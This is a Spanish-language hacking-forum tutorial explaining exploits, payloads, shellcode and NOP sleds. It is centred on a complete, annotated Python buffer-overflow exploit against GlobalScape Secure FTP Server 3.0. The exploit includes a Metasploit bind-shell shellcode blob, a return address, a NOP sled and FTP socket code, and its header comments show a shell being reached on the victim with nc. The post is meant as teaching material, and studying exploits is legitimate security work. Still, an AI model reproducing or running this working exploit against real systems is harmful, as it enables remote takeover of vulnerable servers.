comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Que es un Exploit

  • 0 Respuestas
  • 2201 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5388
  • Actividad:
    36.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Marzo 30, 2012, 12:10:01 pm »
Para ir completando esta linda referencia que estamos haciendo entre todos voy a explicar resumidamente que es un exploit y las partes que lo componen que aunque parezca basico muchos tienen una idea errada o no saben como es la arquitectura de un exploit.

Que significa exploit?
Etimologicamente exploit viene del ingles explotar; explotar se aplica al sentido de aprovecharse de una falla/debilidad en una pieza de software/firmware para utilizarla para otros propositos. Y un exploit es la tecnica que se usa para explotar esa falla o debilidad.
Tecnicamente un exploit es generalmente una aplicacion compuesta de varias partes programado en un lenguaje adecuado para tomar tomar esa falla.

Como esta compuesto un exploit?
Como vimos antes estas fallas que tienen los programas necesitan una tecnica para llegar a ellas y es por eso que nuestro exploit necesita primero hacer una inicializacion para preparar todo, un ejemplo de inicializacion puede ser por ejemplo para explotar un overflow en un comando FTP, debemos primero conectarnos, autenticarnos y recien despues de eso podemos esperar que el FTP acepte un comando.
La otra parte es la payload.

Que es una payload?
Una payload es un conjunto de datos que son los que finalmente se usaran para explotar la falla; esta payload consta de varias partes, principalmente de una No tienes permisos para ver links. Registrate o Entra con tu cuenta , un NOP sled y otros datos que si seguimos con el ejemplo del FTP seria el comando con el argumento.

Que es un NOP sled?
Cuando explotamos un proceso manipulamos el puntero de instrucciones (el que dice cual es la siguiente instruccion a ejecutra, EIP en x86), pero muchas veces existe un margen de error que podria hacer fallar nuestra shellcode debido a que tal vez el EIP apunta a la mitad de la shellcode y no al principio.
Entonces lo que se hace es agregar una cadena de instrucciones  de un byte (para que no fallen si caen en la mitad de la instruccion) que no afecten mucho el entorno. Es por eso que se le dice NOP sled, es una serie de instrucciones NOP (opcode: 0x90) de un determinado tamano que se agrega antes de la shellcode y se calcula que el EIP apunte a alguna parte del sled.
Actualmente el NOP sled clasico es detectado por firewalls y debemos usar otras instrucciones similares que ocupen un byte (por ejemplo la instruccion push para registros).

Basta de teoria...
Veamos un tipico exploit hecho en Python para explotar la recepcion de comandos en un server FTP; presten atencion a los comentarios que deje explicando cada parte
Código: Python
  1. #!/usr/bin/python
  2.  
  3. # En todo exploit tenemos un hermoso banner donde deja creditos, dice como funciona y le manda saludos a sus amigos, familiares, etc.
  4. # No es menor cosa!
  5.  
  6. ###############################################
  7. # GlobalScape Secure FTP Server Buffer Overflow
  8. # Coded by mati@see-security.com
  9. # [url]http://www.see-security.com[/url]
  10. # [url]http://www.hackingdefined.com/exploits/Globalscape30.pdf[/url]
  11. ###############################################
  12. # EIP Overwrite
  13. # root@[muts]# ./globalscape-3.0-ftp.py
  14. #
  15. # [+] Evil GlobalFTP 3.0 Secure Server Exploit
  16. # [+] Coded by mati [at] see-security [dot] com
  17. # [+] 220 GlobalSCAPE Secure FTP Server (v. 3.0) * UNREGISTERED COPY *
  18. #
  19. # [+] Sending Username
  20. # [+] Sending Password
  21. # [+] Sending evil buffer
  22. # [+] Connect to port 4444 on victim Machine!
  23. #
  24. # root@[muts]# nc -v 192.168.1.153 4444
  25. # [192.168.1.153] 4444 (?) open
  26. # Microsoft Windows 2000 [Version 5.00.2195]
  27. # (C) Copyright 1985-2000 Microsoft Corp.
  28. #
  29. # C:\WINNT\system32>
  30.  
  31. import socket
  32. import struct
  33. import time
  34.  
  35. #Aca tenemos la shellcode que usa, en este caso es una que genero con Metasploit y es una bind_shell codificada
  36. #alfanumericamente para no tener problemas de bad chars ya que el protocolo FTP es bastante exigente al igual que HTTP y otros mas.
  37.  
  38. # win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum
  39. # [url]http://metasploit.com[/url] */
  40. sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
  41. sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
  42. sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
  43. sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
  44. sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
  45. sc +="\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
  46. sc +="\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
  47. sc +="\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
  48. sc +="\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
  49. sc +="\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
  50. sc +="\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
  51. sc +="\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
  52. sc +="\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
  53. sc +="\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
  54. sc +="\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
  55. sc +="\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
  56. sc +="\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
  57. sc +="\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
  58. sc +="\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
  59. sc +="\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
  60. sc +="\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
  61. sc +="\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
  62. sc +="\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
  63. sc +="\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
  64. sc +="\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
  65. sc +="\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
  66. sc +="\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
  67. sc +="\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
  68. sc +="\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
  69. sc +="\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
  70. sc +="\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
  71. sc +="\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
  72. sc +="\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
  73. sc +="\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
  74. sc +="\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
  75. sc +="\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
  76. sc +="\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
  77. sc +="\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
  78. sc +="\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
  79. sc +="\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
  80. sc +="\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
  81. sc +="\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
  82. sc +="\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
  83. sc +="\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
  84. sc +="\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"
  85.  
  86. # Aqui una de las partes mas importantes, la generacion de la payload:
  87.  
  88. #Empezamos con un relleno de buffer, es lo que necesitamos para llegar a producir el oveflow.
  89. payload   = '\x41'*2043
  90.  
  91. #Luego agregamos la direccion de retorno, en Windows esto regresara a una instruccion que nos permitira llamar a nuestra shellcode.
  92. #todo se trata de manipular el puntero de instrucciones (EIP en x86). Generalmente en Windows es pop;pop;ret (SEH).
  93. payload += struct.pack("<L",0x7C4FEDBB)
  94.  
  95. #Agregamos el famoso NOP sled, esto lo que hace es agregar una larga cadena (en este caso 36) de instrucciones NOP.
  96. payload += '\x90'*36
  97.  
  98. #Finalmente agregamos la shellcode a la payload.
  99. payload += sc
  100.  
  101. #Otra parte importante es la preparacion del entorno para poder mandar la payload.
  102. #en este caso es un server FTP...
  103. try:
  104.         #Primero nos conectamos al server
  105.         s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  106.         print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit"
  107.         print "[+] Coded by muts"
  108.         connect=s.connect(('192.168.1.153',21))
  109.  
  110.         #recibimos el banner de bienvenida de FTP
  111.         d=s.recv(1024)
  112.         print "[+] " +d
  113.         print "[+] Sending Username"
  114.         time.sleep(1)
  115.  
  116.         #Nos autenticamos en el server enviando usuario y password
  117.         s.send('USER muts\r\n')
  118.         s.recv(1024)
  119.         print "[+] Sending Password"
  120.         time.sleep(1)
  121.         s.send('PASS muts\r\n')
  122.         s.recv(1024)
  123.         print "[+] Sending evil buffer"
  124.         time.sleep(1)
  125.  
  126.         #y finalmente enviamos la payload que preparamos anteriormente, fijense que despues de la payload envia '\r\n' para terminar el comando.
  127.         s.send(payload+'r\n')
  128.         print "[+] Connect to port 4444 on victim Machine!\n"
  129. except:
  130.         print "Can't connect to ftp"
  131.  

Esto es para comprender como es un exploit por dentro y empezar a entender que son esas cadenas de caracteres que aparecen y como es que llegan a tomar el control de un proceso.

Ya saben que si tienen dudas o si algo no se entiende pregunten ;-) .

Saludos,

Autor: snf


 

¿Te gustó el post? COMPARTILO!



Creando un Exploit paso a paso

Iniciado por Stiuvert

Respuestas: 6
Vistas: 3718
Último mensaje Abril 08, 2012, 09:20:42 pm
por Survivor
Creando un exploit paso a paso :D

Iniciado por RooT_Shell

Respuestas: 5
Vistas: 3252
Último mensaje Julio 17, 2010, 08:13:30 pm
por domino
Sesión de meterpreter con BeEF y metasploit (exploit java)

Iniciado por Lonewolf

Respuestas: 4
Vistas: 3112
Último mensaje Octubre 13, 2016, 03:31:00 pm
por PikachuDorado
Terminos, Definiciones Exploit, Shell, Bof, Ruby

Iniciado por Krau[Z]ereth

Respuestas: 10
Vistas: 10104
Último mensaje Mayo 11, 2015, 02:24:09 am
por Baxtar
Terminos, Definiciones Exploit, Shell, Bof, Ruby

Iniciado por hackett_x87

Respuestas: 0
Vistas: 3194
Último mensaje Mayo 23, 2011, 01:30:27 am
por hackett_x87